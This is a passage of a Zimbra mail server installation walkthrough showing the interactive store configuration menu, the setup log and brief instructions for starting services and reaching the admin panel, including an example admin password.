  14) IMAP server SSL port:                    7993
  15) POP server port:                         7110
  16) POP server SSL port:                     7995
  17) Use spell check server:                  yes
  18) Spell server URL:                        http://zimbrasvr.vannakk.net:7780/aspell.php
  19) Enable version update checks:            TRUE
  20) Enable version update notifications:     TRUE
  21) Version update notification email:       admin@zimbrasvr.vannakk.net
  22) Version update source email:             admin@zimbrasvr.vannakk.net
  23) Install mailstore (service webapp):      yes
  24) Install UI (zimbra,zimbraAdmin webapps): yes

Select, or 'r' for previous menu [r] 4

Password for admin@zimbrasvr.vannakk.net (min 6 characters): [Era7YD_cYc] Z1mBR4AdminPass

Store configuration

   1) Status:                                  Enabled
   2) Create Admin User:                       yes
   3) Admin user to create:                    admin@zimbrasvr.vannakk.net
   4) Admin Password                           set
   5) Anti-virus quarantine user:              virus-quarantine.oadx6jtep@zimbrasvr.vannakk.net
   6) Enable automated spam training:          yes
   7) Spam training user:                      spam.5pktrzhj@zimbrasvr.vannakk.net
   8) Non-spam(Ham) training user:             ham.3etwk40yl@zimbrasvr.vannakk.net
   9) SMTP host:                               zimbrasvr.vannakk.net
  10) Web server HTTP port:                    8080
  11) Web server HTTPS port:                   8443
  12) Web server mode:                         https
  13) IMAP server port:                        7143
  14) IMAP server SSL port:                    7993
  15) POP server port:                         7110
  16) POP server SSL port:                     7995
  17) Use spell check server:                  yes
  18) Spell server URL:                        http://zimbrasvr.vannakk.net:7780/aspell.php
  19) Enable version update checks:            TRUE
  20) Enable version update notifications:     TRUE
  21) Version update notification email:       admin@zimbrasvr.vannakk.net
  22) Version update source email:             admin@zimbrasvr.vannakk.net
  23) Install mailstore (service webapp):      yes
  24) Install UI (zimbra,zimbraAdmin webapps): yes

Select, or 'r' for previous menu [r] 21

Version update destination address: [admin@zimbrasvr.vannakk.net] vannak.ken@corp.vannakk.net

Store configuration

   1) Status:                                  Enabled
   2) Create Admin User:                       yes
   3) Admin user to create:                    admin@zimbrasvr.vannakk.net
   4) Admin Password                           set
   5) Anti-virus quarantine user:              virus-quarantine.oadx6jtep@zimbrasvr.vannakk.net
   6) Enable automated spam training:          yes
   7) Spam training user:                      spam.5pktrzhj@zimbrasvr.vannakk.net
   8) Non-spam(Ham) training user:             ham.3etwk40yl@zimbrasvr.vannakk.net
   9) SMTP host:                               zimbrasvr.vannakk.net
  10) Web server HTTP port:                    8080
  11) Web server HTTPS port:                   8443
  12) Web server mode:                         https
  13) IMAP server port:                        7143
  14) IMAP server SSL port:                    7993
  15) POP server port:                         7110
  16) POP server SSL port:                     7995
  17) Use spell check server:                  yes
  18) Spell server URL:                        http://zimbrasvr.vannakk.net:7780/aspell.php
  19) Enable version update checks:            TRUE
  20) Enable version update notifications:     TRUE
  21) Version update notification email:       vannak.ken@corp.vannakk.net
  22) Version update source email:             admin@zimbrasvr.vannakk.net
  23) Install mailstore (service webapp):      yes
  24) Install UI (zimbra,zimbraAdmin webapps): yes

Select, or 'r' for previous menu [r] 22

Version update source address: [admin@zimbrasvr.vannakk.net] vannak.ken@corp.vannakk.net

Store configuration

   1) Status:                                  Enabled
   2) Create Admin User:                       yes
   3) Admin user to create:                    admin@zimbrasvr.vannakk.net
   4) Admin Password                           set
   5) Anti-virus quarantine user:              virus-quarantine.oadx6jtep@zimbrasvr.vannakk.net
   6) Enable automated spam training:          yes
   7) Spam training user:                      spam.5pktrzhj@zimbrasvr.vannakk.net
   8) Non-spam(Ham) training user:             ham.3etwk40yl@zimbrasvr.vannakk.net
   9) SMTP host:                               zimbrasvr.vannakk.net
  10) Web server HTTP port:                    8080
  11) Web server HTTPS port:                   8443
  12) Web server mode:                         https
  13) IMAP server port:                        7143
  14) IMAP server SSL port:                    7993
  15) POP server port:                         7110
  16) POP server SSL port:                     7995
  17) Use spell check server:                  yes
  18) Spell server URL:                        http://zimbrasvr.vannakk.net:7780/aspell.php
  19) Enable version update checks:            TRUE
  20) Enable version update notifications:     TRUE
  21) Version update notification email:       vannak.ken@vannakk.net
  22) Version update source email:             vannak.ken@vannakk.net
  23) Install mailstore (service webapp):      yes
  24) Install UI (zimbra,zimbraAdmin webapps): yes

Select, or 'r' for previous menu [r] r

Main menu

   1) Common Configuration:
   2) zimbra-ldap:                             Enabled
   3) zimbra-logger:                           Enabled
   4) zimbra-mta:                              Enabled
   5) zimbra-snmp:                             Enabled
   6) zimbra-store:                            Enabled
   7) zimbra-spell:                            Enabled
   8) zimbra-proxy:                            Enabled
   9) Default Class of Service Configuration:
   s) Save config to file
   x) Expand menu
   q) Quit

*** CONFIGURATION COMPLETE - press 'a' to apply
Select from menu, or press 'a' to apply config (? - help) a
Save configuration data to a file? [Yes]
Save config in file: [/opt/zimbra/config.8591]
Saving config in /opt/zimbra/config.8591...done.
The system will be modified - continue? [No] Yes
Operations logged to /tmp/zmsetup06222016-132346.log
Setting local config values...done.
Initializing core config...Setting up CA...done.
Deploying CA to /opt/zimbra/conf/ca ...done.
Creating SSL zimbra-store certificate...done.
Creating new zimbra-ldap SSL certificate...done.
Creating new zimbra-mta SSL certificate...done.
Creating new zimbra-proxy SSL certificate...done.
Installing mailboxd SSL certificates...done.
Installing MTA SSL certificates...done.
Installing LDAP SSL certificate...done.
Installing Proxy SSL certificate...done.
Initializing ldap...done.
Setting replication password...done.
Setting Postfix password...done.
Setting amavis password...done.
Setting nginx password...done.
Setting BES searcher  password...done.
Creating server entry for zimbrasvr.vannakk.net...done.
Setting Zimbra IP Mode...done.
Saving CA in ldap ...done.
Saving SSL Certificate in ldap ...done.
Setting spell check URL...done.
Setting service ports on zimbrasvr.vannakk.net...done.
Setting zimbraFeatureTasksEnabled=TRUE...done.
Setting zimbraFeatureBriefcasesEnabled=TRUE...done.
Setting TimeZone Preference...done.
Initializing mta config...done.
Setting services on zimbrasvr.vannakk.net...done.
Adding zimbrasvr.vannakk.net to zimbraMailHostPool in default COS...done.
Creating domain zimbrasvr.vannakk.net...done.
Setting default domain name...done.
Creating domain zimbrasvr.vannakk.net...already exists.
Creating admin account admin@zimbrasvr.vannakk.net...done.
Creating root alias...done.
Creating postmaster alias...done.
Creating user spam.5pktrzhj@zimbrasvr.vannakk.net...done.
Creating user ham.3etwk40yl@zimbrasvr.vannakk.net...done.
Creating user virus-quarantine.oadx6jtep@zimbrasvr.vannakk.net...done.
Setting spam training and Anti-virus quarantine accounts...done.
Initializing store sql database...done.
Setting zimbraSmtpHostname for zimbrasvr.vannakk.net...done.
Configuring SNMP...done.
Setting up syslog.conf...done.
Starting servers...done.
Installing common zimlets...
        com_zimbra_adminversioncheck...done.
        com_zimbra_attachcontacts...done.
        com_zimbra_attachmail...done.
        com_zimbra_bulkprovision...done.
        com_zimbra_cert_manager...done.
        com_zimbra_clientuploader...done.
        com_zimbra_date...done.
        com_zimbra_email...done.
        com_zimbra_mailarchive...done.
        com_zimbra_phone...done.
        com_zimbra_proxy_config...done.
        com_zimbra_srchhighlighter...done.
        com_zimbra_tooltip...done.
        com_zimbra_url...done.
        com_zimbra_viewmail...done.
        com_zimbra_webex...done.
        com_zimbra_ymemoticons...done.
Finished installing common zimlets.
Restarting mailboxd...done.
Creating galsync account for default domain...done.

You have the option of notifying Zimbra of your installation.
This helps us to track the uptake of the Zimbra Collaboration Server.
The only information that will be transmitted is:
        The VERSION of zcs installed (8.6.0_GA_1153_RHEL7_64)
        The ADMIN EMAIL ADDRESS created (admin@zimbrasvr.vannakk.net)

Notify Zimbra of your installation? [Yes] No
Notification skipped
Setting up zimbra crontab...done.


Moving /tmp/zmsetup06222016-132346.log to /opt/zimbra/log


Configuration complete - press return to exit


Start zimbra services :
su - zimbra
zmcontrol start
Access admin panel via browser :

https://:7071
or directly by IP:

URL: https://SERVER-IP:7071
UserName: admin
Password:  Z1mBR4AdminPass
Admin page:

All Done,